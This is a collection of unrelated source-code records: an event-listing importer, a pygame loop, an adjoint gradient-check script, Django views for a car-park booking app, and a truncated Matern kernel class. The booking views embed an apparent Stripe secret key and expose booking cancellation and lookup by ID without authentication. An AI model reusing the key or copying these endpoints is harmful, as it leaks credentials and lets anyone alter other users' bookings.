self.request(path=path)\n\n\nclass AfishaImport(BaseImport):\n API_KEY = ''\n API_HOST = getattr(\n settings,\n 'AFISHA_API_HOST',\n 's5.afisha.net/Export-RamblerKids'\n )\n JSON_FORMAT = '.json'\n client_class = AfishaAPI\n\n def import_data(self, data, path, model, type_key):\n self.log_msg(\n u'Count objects: {0}, for type: {1} by path {2}'\n .format(len(data), model.get_app_name(), path),\n status='critical'\n )\n for item in data:\n ext_id = ';'.join(\n [str(item.get('ClassID', '')), str(item.get('ID')) or '']\n )\n defaults = getattr(\n self, 'make_{0}_params'.format(model.get_model_name())\n )(item)\n\n obj = self.get_obj(model, defaults, ext_id)\n\n if obj and obj.status == 0:\n category_title = item.get(type_key) or u''\n category = self.get_category_by_title(\n category_title.strip()\n )\n\n if category:\n obj.tags.add(category)\n obj.get_seo(force_save=True)\n code_kassa = (item.get('KassaObjectID') or\n item.get('KassaObjectId') or u'')\n if code_kassa:\n obj.get_payment().code_kassa = code_kassa\n obj.get_payment().save(update_fields=('code_kassa', ))\n\n def make_place_params(self, item):\n city_title = item.get('City') or ''\n city = self.get_obj_by_title(\n city_title,\n self.city_mapping,\n City\n )\n timetable = item.get('OpeningHours') or u''\n time_from, time_till = self.get_working_time(timetable)\n\n address = item.get('Address', u'')[:255]\n coords = ','.join(\n [str(item.get('Latitude', '')), str(item.get('Longitude', ''))]\n )\n\n defaults = {\n 'title': item.get('Name') or u'',\n 'city': city,\n 'address': address,\n 'location': self.get_location(coords, city_title, address),\n 'rate': float(item.get('AfishaRating') or 0),\n 'phone': item.get('Phone', u'')[:255],\n 'w_time_from': time_from,\n 'w_time_till': time_till,\n 'timetable': timetable,\n }\n return defaults\n\n def make_event_params(self, item):\n defaults = {\n 'title': item.get('Name') or u'',\n 'announce': item.get('Gener') or u'',\n 'rate': float(item.get('AfishaRating', 0)),\n }\n\n return defaults\n\n def get_working_time(self, data):\n try:\n opening = data.split(',')\n time_from, time_till = opening[0].split(' ')[-1].split(u'–')\n time_from = datetime.time(\n datetime.strptime(time_from, '%H.%M')\n )\n time_till = datetime.time(\n datetime.strptime(time_till, '%H.%M')\n )\n except (IndexError, ValueError):\n self.log_msg('OpeningHours for place with external_id was not set')\n time_from, time_till = None, None\n\n return time_from, time_till\n\n def import_schedules(self, data, path):\n self.log_msg(\n u'Count objects: {0}, for type: sessions by path {1}'\n .format(len(data), path),\n status='critical'\n )\n for place_ext_id, group_p in groupby(\n data,\n lambda x: ';'.join([str(x['PlaceClassID']), str(x['PlaceID'])])\n ):\n sessions_p = list(group_p)\n place = self.get_obj_by_source(Place, place_ext_id, first=True)\n\n for event_ext_id, group_e in groupby(\n sessions_p,\n lambda x: ';'.join(\n [str(x['CreationClassID']), str(x['CreationID'])]\n )\n ):\n sessions = list(group_e)\n event = self.get_obj_by_source(Event, event_ext_id, first=True)\n\n if place and event:\n schedule_ext_id = ';'.join([place_ext_id, event_ext_id])\n defaults = {'place': place, 'event': event}\n schedule = self.get_obj(\n EventPlace,\n defaults,\n schedule_ext_id,\n )\n\n date_start_list = []\n for item in sessions:\n try:\n time_start = date_parser(\n item.get('Time') or u''\n ).time()\n date_start = date_parser(\n item.get('Date') or u''\n ).date()\n except Exception:\n self.log_err()\n else:\n date_start_list.append(date_start)\n defaults = {\n 'event_place': schedule,\n 'date_start': date_start,\n 'time_start': time_start,\n }\n session_ext_id = ';'.join([\n schedule_ext_id,\n item.get('Time') or u'',\n item.get('Date') or u'',\n ])\n\n self.get_obj(\n Session,\n defaults,\n session_ext_id,\n )\n\n if date_start_list:\n if event.date_start is None:\n event.date_start = min(date_start_list)\n if event.date_end:\n date_start_list = (tuple(date_start_list) +\n (event.date_end, ))\n event.date_end = max(date_start_list)\n event.save()\n\n else:\n self.log_msg(u'Place({0}) and Event({1}) was not found.'.\n format(place_ext_id, event_ext_id))\n\n def make_import(self, cities=None):\n try:\n soup = BeautifulSoup(self.client.get_files().text)\n except Exception:\n self.log_err()\n else:\n if cities:\n format_filter = [\n u'_{0}{1}'.format(i, self.JSON_FORMAT)\n for i in cities\n ]\n else:\n format_filter = [self.JSON_FORMAT]\n\n for link in soup.find_all('a'):\n if link['href'].endswith(tuple(format_filter)):\n path = link['href'].split('/')[-1]\n try:\n data = self.client.get_data(path=path)\n except Exception:\n self.log_err()\n else:\n self.import_data(\n data=data.get('Places') or [],\n path=path,\n model=Place,\n type_key='PlaceType',\n )\n self.import_data(\n data=data.get('Creations') or [],\n path=path,\n model=Event,\n type_key='CreationType',\n )\n self.import_schedules(\n data.get('Schedules') or [],\n path\n )\n","sub_path":"src/admin_app/fetchers/management/commands/import_afisha.py","file_name":"import_afisha.py","file_ext":"py","file_size_in_byte":9947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"322498507","text":"from game_engine import Game\nimport pygame, sys\nfrom pygame.locals import *\n\npygame.init()\ngame = Game()\nc = pygame.time.Clock()\nwhile __name__ == \"__main__\":\n c.tick(30)\n game.update()\n for event in pygame.event.get(): \n if event.type == QUIT: \n pygame.quit()\n sys.exit()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"454685904","text":"############################################\n#\n# Module for validating adjoint formulation\n#\n############################################\n\n\nfrom func import *\nimport matplotlib.pyplot as plt\n\n\n# Initialize field variables\ninit_field_mms()\n# init_field_rand()\n\nplt.plot(x, field_init[1,:])\nplt.show()\n\n\n\n# Generate training dataset : DNS / MMS\n# get_exact_dns()\nget_exact_mms()\n# -> Saved to field_exact\n\n\n# Predict : Solve PDE\nt = 0\nfield_4 = field_init.copy() # Initial condition\n\nprint('Prediction')\n\n\n# RK4 Loop\nfor n in range(Nt):\n\n\tprint('Time: {0}'.format(t), end=\"\\r\")\n\n\t# RK4 substep 0 = 4 in previous timestep\n\tfield_0 = field_4.copy()\n\n\t# RK4 substep 0 -> 1\n\th1, h1_grad_param, h1_grad_field = nn_force(field_0) # FP + BP\n\tk1 = navier_stokes(field_0, t) + h1\n\tfield_1 = field_0 + 0.5*dt*k1\n\n\t# RK4 substep 0 -> 2\n\th2, h2_grad_param, h2_grad_field = nn_force(field_1)\n\tk2 = navier_stokes(field_1, t+0.5*dt) + h2\n\tfield_2 = field_0 + 0.5*dt*k2\n\n\t# RK4 substep 0 -> 3\n\th3, h3_grad_param, h3_grad_field = nn_force(field_2)\n\tk3 = navier_stokes(field_2, t+0.5*dt) + h3\n\tfield_3 = field_0 + dt*k3\n\n\t# RK4 substep 0 -> 4\n\th4, h4_grad_param, h4_grad_field = nn_force(field_3)\n\tk4 = navier_stokes(field_3, t+dt) + h4\n\tfield_4 = field_0 + (dt/6)*(k1+2*(k2+k3)+k4)\n\n\tfield[n,:,:,:] = np.array([field_1, field_2, field_3, field_4])\n\n\t# Save gradient data\n\tfor i in range(dim):\n\t\tfor k in range(len(net_list[i].weights)):\n\t\t\th_grad_param[i][k][n,:,:,:,:] = np.array([h1_grad_param[i][k], \\\n\t\t\t\t\t\t\t\t\t\t\t\t\t h2_grad_param[i][k], \\\n\t\t\t\t\t\t\t\t\t\t\t\t\t h3_grad_param[i][k], \\\n\t\t\t\t\t\t\t\t\t\t\t\t\t h4_grad_param[i][k]])\n\t\th_grad_field[n,:,i,:,:] = np.array([h1_grad_field[i], \\\n\t\t\t\t\t\t\t\t\t\t\t h2_grad_field[i], \\\n\t\t\t\t\t\t\t\t\t\t\t h3_grad_field[i], \\\n\t\t\t\t\t\t\t\t\t\t\t h4_grad_field[i]])\n\n\t# March in time\n\tt += dt\n\nprint()\n\n\nplt.plot(x,field_exact[-1,-1,0,:])\nplt.plot(x,field[-1,-1,0,:])\nplt.show()\n\n\n# Estimate current loss\nloss = get_loss()\nprint('Loss: {0}'.format(loss))\n\n\n# Solve Adjoint PDE\nadj_0 = (dt/6) * 2*(field[-1,-1,:,:]-field_exact[-1,-1,:,:]) # Final condition (Discrete-adjoint)\n\nprint('Adjoint')\n\n\n# RK4 Loop (Backward in time)\nfor n in reversed(range(Nt)):\n\n\tprint('Time: {0}'.format(t), end=\"\\r\")\n\n\t# RK4 substep 4 = 0 in previous timestep\n\tadj_4 = adj_0.copy()\n\n\t# RK4 substep 4 -> 3\n\tfield_3 = field[n,2,:,:]\n\th_grad_field_T_3 = np.transpose(h_grad_field[n,3,:,:,:,:],(0,1,3,2))\n\n\tflux_grad_3 = np.zeros([dim, Nx])\n\tfor i in range(dim):\n\t\tfor j in range(dim):\n\t\t\tflux_grad_3[i,:] += h_grad_field_T_3[j,i,:,:] @ adj_4[j,:]\n\n\tk3 = 0.5*adjoint(field_3, adj_4, t) + 0.5*flux_grad_3 \\\n\t\t\t+ 2*(field_3-field_exact[n,2,:,:])\n\tadj_3 = adj_4 + dt*k3\n\n\t# RK4 substep 4 -> 2\n\tfield_2 = field[n,1,:,:]\n\th_grad_field_T_2 = np.transpose(h_grad_field[n,2,:,:,:,:],(0,1,3,2))\n\n\tflux_grad_2 = np.zeros([dim, Nx])\n\tfor i in range(dim):\n\t\tfor j in range(dim):\n\t\t\tflux_grad_2[i,:] += h_grad_field_T_2[j,i,:,:] @ adj_3[j,:]\n\n\tk2 = adjoint(field_2, adj_3, t-0.5*dt) + flux_grad_2 \\\n\t\t\t+ 2*(field_2-field_exact[n,1,:,:])\n\tadj_2 = adj_4 + 0.5*dt*k2\n\n\t# RK4 substep 4 -> 1\n\tfield_1 = field[n,0,:,:]\n\th_grad_field_T_1 = np.transpose(h_grad_field[n,1,:,:,:,:],(0,1,3,2))\n\n\tflux_grad_1 = np.zeros([dim, Nx])\n\tfor i in range(dim):\n\t\tfor j in range(dim):\n\t\t\tflux_grad_1[i,:] += h_grad_field_T_1[j,i,:,:] @ adj_2[j,:]\n\n\tk1 = 2*adjoint(field_1, adj_2, t-0.5*dt) + 2*flux_grad_1 \\\n\t\t\t+ 2*(field_1-field_exact[n,0,:,:])\n\tadj_1 = adj_4 + 0.5*dt*k1\n\n\t# RK4 substep 4 -> 0\n\tif n == 0:\n\t\tfield_4 = field_init\n\t\tfield_exact_4 = field_init\n\telse:\n\t\tfield_4 = field[n-1,3,:,:]\n\t\tfield_exact_4 = field_exact[n-1,3,:,:]\n\n\th_grad_field_T_4 = np.transpose(h_grad_field[n,0,:,:,:,:],(0,1,3,2))\n\n\tflux_grad_4 = np.zeros([dim, Nx])\n\tfor i in range(dim):\n\t\tfor j in range(dim):\n\t\t\tflux_grad_4[i,:] += h_grad_field_T_4[j,i,:,:] @ adj_1[j,:]\n\n\tk4 = adjoint(field_4, adj_1, t-dt) + flux_grad_4 \\\n\t\t\t+ 2*(field_4-field_exact_4)\n\tadj_0 += dt/6 * (k1+2*(k2+k3)+k4)\n\n\t# Save adjoints\n\tadj[n,:,:,:] = [adj_1, adj_2, adj_3, adj_4]\n\t\n\t# March backward in time\n\tt -= dt\n\nprint()\n\n\n\n# Compute gradient of loss\nloss_gradient = get_loss_gradient()\n# -> grad_loss_param\n\n\n# Error plot\nnumExp = 16 # number of points to plot\nerror_list = np.zeros(numExp)\n\n\n# Update NN parameters\nfor exp in range(numExp):\n\n\talpha = pow(10, -exp) # Rate of change of NN parameters\n\tupdate_param(loss_gradient, alpha) # Update\n\n\n\t# Prediction\n\tt = 0\n\tfield_4 = field_init.copy() # Initial condition\n\n\tprint('Prediction')\n\n\n\t# RK4 Loop\n\tfor n in range(Nt):\n\n\t\tprint('Time: {0}'.format(t), end=\"\\r\")\n\n\t\t# RK4 substep 0 = 4 in previous timestep\n\t\tfield_0 = field_4\n\n\t\t# RK4 substep 0 -> 1\n\t\th1, h1_grad_param, h1_grad_field = nn_force(field_0) # FP + BP\n\t\tk1 = navier_stokes(field_0, t) + h1\n\t\tfield_1 = field_0 + 0.5*dt*k1\n\n\t\t# RK4 substep 0 -> 2\n\t\th2, h2_grad_param, h2_grad_field = nn_force(field_1)\n\t\tk2 = navier_stokes(field_1, t+0.5*dt) + h2\n\t\tfield_2 = field_0 + 0.5*dt*k2\n\n\t\t# RK4 substep 0 -> 3\n\t\th3, h3_grad_param, h3_grad_field = nn_force(field_2)\n\t\tk3 = navier_stokes(field_2, t+0.5*dt) + h3\n\t\tfield_3 = field_0 + dt*k3\n\n\t\t# RK4 substep 0 -> 4\n\t\th4, h4_grad_param, h4_grad_field = nn_force(field_3)\n\t\tk4 = navier_stokes(field_3, t+dt) + h4\n\t\tfield_4 = field_0 + (dt/6)*(k1+2*(k2+k3)+k4)\n\n\t\tfield[n,:,:,:] = np.array([field_1, field_2, field_3, field_4])\n\n\t\t# Save gradient data\n\t\tfor i in range(dim):\n\t\t\tfor k in range(len(net_list[i].weights)):\n\t\t\t\th_grad_param[i][k][n,:,:,:,:] = np.array([h1_grad_param[i][k], \\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t h2_grad_param[i][k], \\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t h3_grad_param[i][k], \\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t h4_grad_param[i][k]])\n\t\t\th_grad_field[n,:,i,:,:] = np.array([h1_grad_field[i], \\\n\t\t\t\t\t\t\t\t\t\t\t\t h2_grad_field[i], \\\n\t\t\t\t\t\t\t\t\t\t\t\t h3_grad_field[i], \\\n\t\t\t\t\t\t\t\t\t\t\t\t h4_grad_field[i]])\n\n\t\t# March in time\n\t\tt += dt\n\n\tprint()\n\n\n\n\t# Estimate loss\n\tloss_new = get_loss()\n\tprint('Loss: {0}'.format(loss_new))\n\n\n\t# Estimate error\n\tgrad_square = 0 # Squared sum of all gradients\n\tfor i in range(dim):\n\t\tfor j in range(len(net_list[i].weights)):\n\t\t\tgrad_square += np.sum(loss_gradient[i][j]**2)\n\n\terror_list[exp] = abs((loss_new-loss)/alpha + grad_square)\n\tprint(error_list[exp])\n\n\n\t# Initialize parameters\n\tupdate_param(loss_gradient, -alpha)\n\n\n# Print & Plot errors\nprint(error_list)\n\nplt.plot(np.arange(numExp), np.log10(error_list), '.-')\nplt.show()\n\n\n","sub_path":"check_grad.py","file_name":"check_grad.py","file_ext":"py","file_size_in_byte":6276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"241826174","text":"from django.shortcuts import render\nfrom django.http.response import JsonResponse\nfrom rest_framework.decorators import api_view\nfrom django.contrib.auth.hashers import check_password\nfrom datetime import datetime\n\nfrom rest_framework.parsers import JSONParser\nfrom .models import *\nfrom .serializers import *\nfrom rest_framework.exceptions import ValidationError\nimport stripe\nimport secrets\nimport math\nimport pytz\n\nstripe.api_key = 'sk_test_51HrvFLISFKjjBkELcTQH2DsC0vWYvqv4bA3MEZD0q7u8QIFzlqlJJ9SGqtSeUMDGIFubl7unKkVaR6luhKLsZejs00wY4PIg3h'\n\n# Create your views here.\n@api_view(['POST'])\ndef create_user(request):\n\n body = JSONParser().parse(request)\n try:\n user_serializer = UserSerializer(data=body)\n if user_serializer.is_valid(raise_exception = True):\n user = user_serializer.save()\n data = user_serializer.data\n del data['password']\n return JsonResponse({\"code\" : 200, 'data': data, 'message' : 'Success'})\n except ValidationError as e:\n return JsonResponse({\"code\" : e.status_code, 'message' : e.detail})\n\n@api_view(['POST'])\ndef payment_intent(request):\n \n body = JSONParser().parse(request)\n \n customer_id = body['customer_id']\n car_park_id = body['car_park_id']\n email = body['email']\n is_old = body['is_old']\n is_logged_in = body['is_logged_in']\n car_wash = body['car_wash']\n end_date = body['end_date']\n start_date = body['start_date']\n is_handicap = body['is_handicap']\n\n result = __calclulate_price(end_date, start_date, car_park_id, is_old, is_handicap, is_logged_in, email, car_wash)\n \n intent = stripe.PaymentIntent.create(\n #multiply by 100 as everything is in cents\n amount=result[0] * 100,\n currency='eur',\n customer=customer_id,\n )\n\n client_secret = intent.client_secret \n return JsonResponse({\"code\" : 200, 'data': {'client_secret' : client_secret}, 'message' : 'Success'})\n\n@api_view(['POST'])\ndef payment_done(request):\n\n body = JSONParser().parse(request)\n \n car_park_id = body['car_park_id']\n email = body['email']\n is_old = body['is_old']\n is_logged_in = body['is_logged_in']\n car_wash = body['car_wash']\n end_date = body['end_date']\n start_date = body['start_date']\n is_handicap = body['is_handicap']\n is_two_wheeler = body['is_two_wheeler']\n\n result = __calclulate_price(end_date, start_date, car_park_id, is_old, is_handicap, is_logged_in, email, car_wash)\n\n body['car_park'] = car_park_id\n body['start_date'] = datetime.fromtimestamp(body['start_date']/1000, tz=pytz.utc)\n body['end_date'] = datetime.fromtimestamp(body['end_date']/1000, tz=pytz.utc)\n body['total_cost'] = result[0]\n body['alphanumeric_string'] = secrets.token_hex(16)\n\n try:\n booking_serializer = BookingSerializer(data=body)\n if booking_serializer.is_valid(raise_exception = True):\n booking = booking_serializer.save()\n data = booking_serializer.data\n\n #successfully saved so now we update counts in the carparks\n carpark = CarPark.objects.get(id=booking.car_park.id)\n if booking.is_handicap:\n carpark.dis_capacity -= 1\n elif booking.is_two_wheeler:\n carpark.tw_capacity -= 1\n else:\n carpark.normal_capacity -= 1\n carpark.save()\n return JsonResponse({\"code\" : 200, 'data': data, 'message' : 'Success'})\n except ValidationError as e:\n return JsonResponse({\"code\" : e.status_code, 'message' : e.detail})\n\n@api_view(['POST'])\ndef login_user(request):\n\n body = JSONParser().parse(request)\n try:\n user = User.objects.get(email=body['email'].strip())\n if check_password(body['password'], user.password):\n jsonData = UserSerializer(user, many = False).data\n del jsonData['password']\n return JsonResponse({\"code\" : 200, 'data': jsonData, 'message' : 'Success'})\n else:\n return JsonResponse({\"code\" : 400, 'message' : 'Password doesnt match'})\n except User.DoesNotExist:\n return JsonResponse({\"code\" : 400, 'message' : 'User not found'})\n\n\n@api_view(['GET'])\ndef airports_list(request):\n\n car_parks = CarPark.objects.all()\n airports = {}\n for j in car_parks:\n if j.airport_id not in airports:\n airports[j.airport_id] = j.airport_name\n listofDicts = []\n for key, value in airports.items():\n dictionary = {\"airport_id\": key, \"airport_name\": value}\n listofDicts.append(dictionary)\n jsonData = {\"airports\": listofDicts}\n return JsonResponse({\"code\": 200, \"data\": jsonData})\n\n\n@api_view(['GET'])\ndef get_availability(request):\n\n body = request.query_params\n airport_id = body.get('airport_id', None)\n start_date = int(body.get('start_date', None))\n end_date = int(body.get('end_date', None))\n is_handicap = body.get('is_handicap', None)\n is_two_wheeler = body.get('is_two_wheeler', None)\n\n # filter out the car parks not in the selected airport\n car_parks = CarPark.objects.all().filter(airport_id=airport_id)\n\n # filter out car parks that don't have handicap/two wheeler spots if applicable\n if is_handicap == 1:\n car_parks = car_parks.filter(dis_capacity__gte = 1)\n elif is_two_wheeler == 1:\n car_parks = car_parks.filter(tw_capacity__gte = 1)\n else:\n car_parks = car_parks.filter(normal_capacity__gte = 1)\n \n if len(car_parks) == 0:\n return JsonResponse({\"code\": 404, \"data\": None, \"message\" : \"Data not Found\"})\n\n # ensure there is space available by checking the other bookings\n # this method may underestimate the amount of free spaces sometimes but it's simple\n\n # filter in bookings that would overlap with the customer's booking\n # bookings = Booking.objects.filter(Booking.booking_start_date < pEnd_date_timestamp and Booking.booking_end_date >\n # pStart_date_timestamp)\n\n # filter out bookings that are not for car parks in this airport\n # for i in range(bookings):\n # bookings = bookings.filter(bookings[i].car_park_id in car_parks)\n\n # make a dict of each car park in the airport and the number of free spaces\n # suitable_car_parks = {\"car_park\": \"spaces\"}\n # most_suitable = 0\n # spaces = 0\n # car_park_bookings = bookings\n # for j in range(car_parks):\n # for k in range(bookings):\n # car_park_bookings = bookings.filter(bookings[k].car_park_id == car_parks[j].car_park_id)\n # bookings_count = car_park_bookings.count()\n # if car_parks[j].max_capacity - bookings_count > 0:\n # spaces = car_parks[j].max_capacity - bookings_count\n # suitable_car_parks[car_parks[j]] = spaces\n # if spaces > most_suitable:\n # most_suitable = spaces\n\n # select best match and other match based on available spaces\n# for key, value in suitable_car_parks.items():\n# if spaces == value:\n# best_match = key\n# else:\n# return JsonResponse({\"code\": 400, 'message': 'There are no available spaces at your selected airport'})\n\n #only show long term if atleast 24 hours.\n difference_seconds = (end_date - start_date)/1000\n difference = max(difference_seconds/3600, 1)\n difference = difference/24\n\n #move long term if difference > 1 to top\n removeFromPos = -1\n for i in range(len(car_parks)):\n park = car_parks[i]\n\n if difference >= 1:\n if park.is_long_term:\n removeFromPos = i\n break\n else:\n if not park.is_long_term:\n removeFromPos = i\n break\n \n best_match_json = CarPark()\n #some value was found and removed\n if removeFromPos > -1:\n best_match_json = CarParkSerializer(car_parks[removeFromPos]).data\n else:\n best_match_json = CarParkSerializer(car_parks[0]).data\n\n car_parks = car_parks.filter().exclude(id = best_match_json['id'])\n # if len(car_parks) > 1:\n # for value in suitable_car_parks.values():\n # if match_value < value < spaces:\n # match_value = value\n # for key, value in suitable_car_parks.items():\n # if spaces == value:\n # other_match = key\n \n jsonData = {\"best_match\": best_match_json, \"other_matches\": CarParkSerializer(car_parks, many=True).data}\n return JsonResponse({\"code\": 200, \"data\": jsonData})\n\n\n@api_view(['POST'])\ndef calc_price(request):\n\n body = JSONParser().parse(request)\n try:\n car_park_id = body['car_park_id']\n customer_name = body['customer_name']\n email = body['email']\n phone = body['phone']\n car_reg = body['car_reg']\n is_old = body['is_old']\n is_logged_in = body['is_logged_in']\n car_wash = body['car_wash']\n end_date = body['end_date']\n start_date = body['start_date']\n is_handicap = body['is_handicap']\n version = body['version']\n is_two_wheeler = body['is_two_wheeler']\n\n result = __calclulate_price(end_date, start_date, car_park_id, is_old, is_handicap, is_logged_in, email, car_wash) \n\n customer = stripe.Customer.create(email = email)\n key = stripe.EphemeralKey.create(customer=customer, stripe_version=version)\n \n return JsonResponse({\"code\" : 200, 'data': {'key' : key, 'total' : result[0], 'discounts' : result[1]}, 'message' : 'Success'})\n except Exception:\n return JsonResponse({\"code\" : 400, 'message' : 'Something went wrong'})\n\n return JsonResponse({\"code\" : 400, 'message' : 'Something went wrong'})\n\ndef __calclulate_price(end_date, start_date, carpark_id, is_old, is_handicap, is_logged_in, email, car_wash):\n \n #convert to seconds and then to hours. Atleast 1 hour is the slot\n difference_seconds = (end_date - start_date)/1000\n difference = max(difference_seconds/3600, 1)\n \n carpark = CarPark.objects.get(id = carpark_id)\n\n if carpark.is_long_term == True:\n #round up the day\n difference = math.ceil(difference/24)\n\n calculated_price = carpark.price * difference\n \n if car_wash:\n calculated_price += 25\n\n total_discount = 0\n discounts_applied = []\n\n if is_old:\n discount = Discount.objects.get(discount_type = 'old_age')\n total_discount += discount.discount_percent\n discounts_applied.append('Old Age Discount')\n\n if is_handicap:\n discount = Discount.objects.get(discount_type = 'disabled')\n total_discount += discount.discount_percent\n discounts_applied.append('Physically Disabled Discount')\n\n if is_logged_in:\n discount = Discount.objects.get(discount_type = 'login')\n total_discount += discount.discount_percent\n discounts_applied.append('Discount for being a registered user.')\n\n #get current user bookings\n try:\n if len(Booking.objects.all().filter(email = email)) > 5:\n discount = Discount.objects.get(discount_type = 'frequent_user')\n total_discount += discount.discount_percent\n discounts_applied.append('Discount for being a frequent app user.')\n except Exception as e:\n #do nothing. Exception raised if no booking exists etc.\n print(e)\n\n #atleast 30% discount\n total_discount = min(30, total_discount)\n final_price = calculated_price - (total_discount/100 * calculated_price)\n return (math.ceil(final_price), discounts_applied)\n\n\n@api_view(['GET'])\ndef get_upcoming_bookings(request):\n\n body = request.query_params\n user_id = body.get('user_id', None)\n\n user = User.objects.get(id = user_id)\n\n current_date = datetime.now(tz=pytz.utc)\n # retrieve all bookings and filter in the ones that have not ended\n bookings = Booking.objects.all().filter(email = user.email, end_date__gte = current_date, is_active = 1)\n\n booking_list = [\"\"] * 9\n listofDicts = []\n for b in bookings:\n carpark = CarPark.objects.get(id=b.car_park_id)\n booking_list[0] = b.id\n booking_list[1] = carpark.latitude\n booking_list[2] = carpark.longitude\n booking_list[3] = carpark.car_park_name\n booking_list[4] = carpark.airport_name\n booking_list[5] = b.start_date.timestamp()\n booking_list[6] = b.end_date.timestamp()\n booking_list[7] = b.total_cost\n booking_list[8] = carpark.image\n\n booking_dict = {\"booking_id\": booking_list[0], \"carpark_lat\": booking_list[1], \"carpark_long\": booking_list[2],\n \"carpark_name\": booking_list[3], \"airport_name\": booking_list[4], \"start_date\": booking_list[5],\n \"end_date\": booking_list[6], \"total_price\": booking_list[7], \"carpark_image\": booking_list[8], \"alphanumeric_string\" : b.alphanumeric_string, \"is_long_term\" : carpark.is_long_term}\n listofDicts.append(booking_dict)\n jsonData = {\"upcoming\": listofDicts}\n return JsonResponse({\"code\": 200, \"data\": jsonData})\n\n\n@api_view(['GET'])\ndef get_past_bookings(request):\n\n body = request.query_params\n user_id = body.get('user_id', None)\n user = User.objects.get(id = user_id)\n\n current_date = datetime.now(tz=pytz.utc)\n # retrieve all bookings and filter in the ones that have not ended\n bookings = Booking.objects.all().filter(email=user.email, end_date__lte = current_date, is_active = 1)\n\n booking_list = [\"\"] * 9\n listofDicts = []\n for b in bookings:\n carpark = CarPark.objects.get(id=b.car_park_id)\n booking_list[0] = b.id\n booking_list[1] = carpark.latitude\n booking_list[2] = carpark.longitude\n booking_list[3] = carpark.car_park_name\n booking_list[4] = carpark.airport_name\n booking_list[5] = b.start_date.timestamp()\n booking_list[6] = b.end_date.timestamp()\n booking_list[7] = b.total_cost\n booking_list[8] = carpark.image\n\n booking_dict = {\"booking_id\": booking_list[0], \"carpark_lat\": booking_list[1], \"carpark_long\": booking_list[2],\n \"carpark_name\": booking_list[3], \"airport_name\": booking_list[4], \"start_date\": booking_list[5],\n \"end_date\": booking_list[6], \"total_price\": booking_list[7], \"carpark_image\": booking_list[8], \"alphanumeric_string\" : b.alphanumeric_string, \"is_long_term\" : carpark.is_long_term}\n listofDicts.append(booking_dict)\n# return JsonResponse({\"code\": 400, \"message\": \"You have no previous bookings\"})\n jsonData = {\"history\": listofDicts}\n return JsonResponse({\"code\": 200, \"data\": jsonData})\n\n\n@api_view(['PUT'])\ndef cancel_booking(request):\n\n body = request.query_params\n booking_id = body.get('booking_id', None)\n booking = Booking.objects.get(id=booking_id)\n booking.is_active = 0\n booking.save()\n return JsonResponse({\"code\": 200})","sub_path":"airpark/airpark_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":14899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"473336727","text":"\"\"\"Matern kernel.\"\"\"\n\nfrom typing import Optional\n\nimport numpy as np\nimport scipy.spatial.distance\nimport scipy.special\n\nimport probnum.utils as _utils\nfrom probnum.typing import IntArgType, ScalarArgType\n\nfrom ._kernel import Kernel\n\n_InputType = np.ndarray\n\n\nclass Matern(Kernel[_InputType]):\n \"\"\"Matern kernel.\n\n Covariance function defined by :math:`k(x_0, x_1) = \\\\frac{1}{\\\\Gamma(\\\\nu)2^{\n \\\\nu-1}}\\\\big(\\\\frac{\\\\sqrt{2\\\\nu}}{l} \\\\lVert x_0 , x_1\\\\rVert \\\\big)^\\\\nu\n K_\\\\nu\\\\big(\\\\frac{\\\\sqrt{2\\\\nu}}{l} \\\\lVert x_0 , x_1 \\\\rVert \\\\big)`, where\n :math:`K_\\\\nu` is a modified Bessel function. The Matern\n kernel generalizes the :class:`~probnum.kernels.ExpQuad` kernel\n via its additional parameter :math:`\\\\nu` controlling the smoothness of the\n function. For :math:`\\\\nu \\\\rightarrow \\\\infty` the Matern kernel converges to\n the :class:`~probnum.kernels.ExpQuad` kernel. A Gaussian process\n with Matern covariance function is :math:`\\\\lceil \\\\nu \\\\rceil - 1` times\n differentiable.\n\n Parameters\n ----------\n input_dim :\n Input dimension of the kernel.\n lengthscale :\n Lengthscale of the kernel. Describes the input scale on which the process\n varies.\n nu :\n Hyperparameter controlling differentiability.\n\n See Also\n --------\n ExpQuad : Exponentiated Quadratic / RBF kernel.\n\n Examples\n --------\n >>> import numpy as np\n >>> from probnum.kernels import Matern\n >>> K = Matern(input_dim=1, lengthscale=0.1, nu=2.5)\n >>> K(np.linspace(0, 1, 3)[:, None])\n array([[1.00000000e+00, 7.50933789e-04, 3.69569622e-08],\n [7.50933789e-04, 1.00000000e+00, 7.50933789e-04],\n [3.69569622e-08, 7.50933789e-04, 1.00000000e+00]])\n \"\"\"\n\n def __init__(\n self,\n input_dim: IntArgType,\n lengthscale: ScalarArgType = 1.0,\n nu: ScalarArgType = 1.5,\n ):\n # pylint: disable=\"invalid-name\"\n self.lengthscale = _utils.as_numpy_scalar(lengthscale)\n if not self.lengthscale > 0:\n raise ValueError(f\"Lengthscale l={self.lengthscale} must be positive.\")\n self.nu = _utils.as_numpy_scalar(nu)\n if not self.nu > 0:\n raise ValueError(f\"Hyperparameter nu={self.nu} must be positive.\")\n\n super().__init__(input_dim=input_dim, output_dim=1)\n\n def __call__(self, x0: _InputType, x1: Optional[_InputType] = None) -> np.ndarray:\n\n x0, x1, kernshape = self._check_and_reshape_inputs(x0, x1)\n\n # Compute pairwise euclidean distances ||x0 - x1|| / l\n if x1 is None:\n pdists = scipy.spatial.distance.squareform(\n scipy.spatial.distance.pdist(x0 / self.lengthscale, metric=\"euclidean\")\n )\n else:\n pdists = scipy.spatial.distance.cdist(\n x0 / self.lengthscale, x1 / self.lengthscale, metric=\"euclidean\"\n )\n\n # Kernel matrix computation dependent on differentiability\n if self.nu == 0.5:\n kernmat = np.exp(-pdists)\n elif self.nu == 1.5:\n scaled_pdists = np.sqrt(3) * pdists\n kernmat = (1.0 + scaled_pdists) * np.exp(-scaled_pdists)\n elif self.nu == 2.5:\n scaled_pdists = np.sqrt(5) * pdists\n kernmat = (1.0 + scaled_pdists + scaled_pdists ** 2 / 3.0) * np.exp(\n -scaled_pdists\n )\n elif self.nu == np.inf:\n 